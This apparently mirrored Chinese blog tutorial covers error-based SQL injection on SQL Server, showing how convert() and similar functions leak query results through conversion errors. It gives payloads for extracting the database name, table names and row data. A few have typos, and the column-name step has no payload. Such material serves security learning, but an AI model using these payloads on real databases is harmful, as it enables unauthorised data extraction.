zoukankan      html  css  js  c++  java
  • SQL server手注之报错注入

    concert()函数

    功能

    把日期转换为新数据类型的通用函数

    语法

    CONVERT(date_type(length),data_to_be_convrted,style)

    • date_type(length) 规定目标数据类型
    • data_to_be_converted 含有需要转换的值
    • style 规定日期/时间的输出格式

    示例

    • CONVERT(VARCHAR(19),GETDATE())
    • CONVERT(VARCHAR(10),GETDATE(),110)
    • CONVERT(VARCHAR(24),GETDATE(),106)

    原理

    • 以convert(int,@@version),convert函数首先会执行第二个参数指定的SQL查询,然后将查询结果转换为int类型
    • 但是由于SQL查询的结果是varchar型,无法进行指定的转换
    • 所以convert函数会抛出一个SQL server错误消息,指出SQL查询结果无法转换为int类型

    满足条件的函数

    • convert()
    • file_name()
    • db_name()
    • col_name()
    • filegroup_name()
    • object_name()
    • schema_name()
    • type_name()
    • cast()

    注入姿势~

    确认好注入点后

    查询基本信息

    • convert(int,da_name)

      得到当前数据库名为:text

    获取当前数据库的表名

    • convert(int,(select top 1 table_name from information_schema.tables))

      得到表名为cmd

    获取列名


    得到列名为a,且cmd这张表中只有a这一列数据

    • cast(十六进制的表名 as varchar)

    获取数据

    • convert(int,(select top 1 name a from cmd))
  • 相关阅读:
    Java并发之synchronized关键字和Lock接口
    Java并发之volatile关键字
    浏览器的缓存机制
    垃圾回收技术
    import和require区别
    垃圾回收机制
    TCP四次挥手
    进程
    TCP基础概念
    TCP三次握手
  • 原文地址:https://www.cnblogs.com/ceiling-/p/14430193.html
Copyright © 2011-2022 走看看